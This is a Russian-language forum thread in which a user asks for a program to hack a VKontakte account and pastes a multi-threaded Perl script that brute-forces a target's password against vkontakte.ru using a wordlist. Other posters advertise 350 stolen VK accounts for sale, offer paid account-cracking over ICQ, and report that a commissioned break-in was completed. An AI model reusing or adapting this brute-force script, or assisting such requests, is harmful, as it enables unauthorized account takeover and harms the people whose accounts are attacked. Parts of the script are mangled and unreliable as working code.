Нужна рабочая программа для взлома аккаунта вконтакте

[Grom007]

Добрый вечер, уважаемые форумчане выручайте. Что то до самого меня не как не дойдет как сделать такую прогу и как ею воспользоваться. Может быть у кого то уже есть готовая программа пишите. Все обсудим в подробностях. Пх да чуть не забыл у меня есть один написаный скрипт на Perl, нашел в инете может поможет?
Данный скрипт написан на perl и не каждый сможет им воспользоваться. Он перебирает пароли к контакту. В том то и дело что я с Perl не когда не дружил. В общем нужна прога предложения пишем сюда или в аську 455876723. Да и сразу много заплатить за это не смогу, хотя думаю договоримся. Может быть кто и сделает по блату, в общем пишите. Буду ждать ответа, мне просто очень сильно нужна такая прога.
список паролей должен находиться в файле: passl.txt

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

################################### ###
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
################################### ###
$dic = ‘passl.txt’; #словарь паролей
$id = 111111; #id цели
$mail = ‘mail%40mail.com’; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
################################### ###

open (pass, “<$dic”);

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while

(@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>’tcp’,PeerAddr=>’vkonta kte.ru’,PeerPort=>80);
print $sock “HEAD http://vkontakte.ru/ HTTP/1.0\r\n”.
“Host: vkontakte.ru\r\n”.
“Accept: */*\r\n”.
“Content-Type: application/x-www-form-urlencoded\r\n”.
“User-Agent: Mozillo\r\n”.
“Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n”.

“Connection: close\r\n\r\n”;
$answ = ;
close $sock;
print “$pass $answ”;
if ($answ =~ /302/){
open (good, ‘>>good.txt’);
print good “$id:$pass:$md5\n”;
print “$id:$pass:$md5\n”;
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (
){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

[belmax_]

норм пароль ты в жизни не сломаешь!!!!

[embedder]

Только недавно здесь рекламировался "мастер-ломастер". Понимаю что кризис и т.д. Но неужели уже всем деньги не пахнут?

[belmax_]

работу принял )

[tipka]

А на счет брутфорсов и фейков и подобной дряни . ты и одноко чела не взломаешь .
Это просто тупость .

350 узеров контакта продаю за 100 wmz .

.......................
Взлом это искусство
......

пишем на
games.daemon@googlemail.com

[vvviperrr]

http://www.indigostar.com/perl2exe.htm

не?
пс. меня бесит контакт, задрали

[uberchel]

Вот только была тема по взлому ! Посмотри:
http://www.programmersforum.ru/showthread.php?t=55802

[belmax_]

работу выполнил
у кого похожие промблемы как у Grom007 тоесть хотите получить пароль от контакта пишите на асю 421330654

[Grom007]

Спасибо большое belmax_ работу выполнил каественно и быстро. Я ему очень благодарен. Все проект можно закрывать.

[xNut]

Скриптом пользовались или другими методами?